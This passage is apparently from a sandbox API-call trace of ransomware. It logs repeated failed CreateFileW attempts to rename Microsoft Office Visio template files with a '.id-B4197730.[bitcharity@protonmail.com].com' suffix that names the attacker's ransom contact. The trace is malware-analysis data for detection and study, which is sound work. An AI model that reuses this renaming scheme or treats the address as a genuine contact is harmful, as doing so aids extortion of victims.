hTemplateFile=0x0) returned 0xffffffff [0273.847] CloseHandle (hObject=0x1288) returned 1 [0273.848] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.848] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_UMLSEQUENCE_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\basic_umlsequence_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.848] CloseHandle (hObject=0x1288) returned 1 [0273.849] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.849] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_DEC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ba_dec_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.849] CloseHandle (hObject=0x1288) returned 1 [0273.850] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.851] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_DEC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ba_dec_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.851] CloseHandle (hObject=0x1288) returned 1 [0273.852] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.852] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_GRP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ba_grp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.852] CloseHandle (hObject=0x1288) returned 1 [0273.853] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.853] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_GRP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ba_grp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.853] CloseHandle (hObject=0x1288) returned 1 [0273.856] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.856] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0273.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BCKGRN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bckgrn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.856] CloseHandle (hObject=0x1288) returned 1 [0274.100] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.101] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BCKGRN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bckgrn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.101] CloseHandle (hObject=0x1104) returned 1 [0274.102] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.102] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPRES_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpres_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.102] CloseHandle (hObject=0x1104) returned 1 [0274.103] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.103] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bstorm_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.103] CloseHandle (hObject=0x1104) returned 1 [0274.104] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.104] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bstorm_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.104] CloseHandle (hObject=0x1104) returned 1 [0274.106] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.106] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bstorm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.106] CloseHandle (hObject=0x1104) returned 1 [0274.107] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.107] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BSTORM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bstorm_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.107] CloseHandle (hObject=0x1104) returned 1 [0274.108] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.108] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bthkt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.108] CloseHandle (hObject=0x1104) returned 1 [0274.109] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.109] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bthkt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.109] CloseHandle (hObject=0x1104) returned 1 [0274.110] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.110] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bthkt_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.110] CloseHandle (hObject=0x1104) returned 1 [0274.112] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.112] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BTHKT_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bthkt_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.112] CloseHandle (hObject=0x1104) returned 1 [0274.113] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.113] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cabnt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.113] CloseHandle (hObject=0x1104) returned 1 [0274.114] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.114] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cabnt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.114] CloseHandle (hObject=0x1104) returned 1 [0274.115] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.115] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cabnt_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.115] CloseHandle (hObject=0x1104) returned 1 [0274.116] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.116] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CABNT_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cabnt_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.117] CloseHandle (hObject=0x1104) returned 1 [0274.117] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.118] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calndr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.118] CloseHandle (hObject=0x1104) returned 1 [0274.118] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.119] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calndr_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.119] CloseHandle (hObject=0x1104) returned 1 [0274.122] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.122] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calndr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.122] CloseHandle (hObject=0x1074) returned 1 [0274.123] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.123] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALNDR_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calndr_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.123] CloseHandle (hObject=0x1074) returned 1 [0274.124] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.124] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALOUT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calout_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.124] CloseHandle (hObject=0x1074) returned 1 [0274.126] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.126] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CALOUT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\calout_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.127] CloseHandle (hObject=0xff0) returned 1 [0274.128] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.128] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\causef_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.128] CloseHandle (hObject=0xff0) returned 1 [0274.129] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.129] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\causef_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.129] CloseHandle (hObject=0xff0) returned 1 [0274.130] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.130] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\causef_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.130] CloseHandle (hObject=0xff0) returned 1 [0274.132] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.132] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CAUSEF_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\causef_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.133] CloseHandle (hObject=0x1074) returned 1 [0274.133] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.133] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CEILPL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ceilpl_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.134] CloseHandle (hObject=0x1074) returned 1 [0274.134] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.135] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CEILPL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio 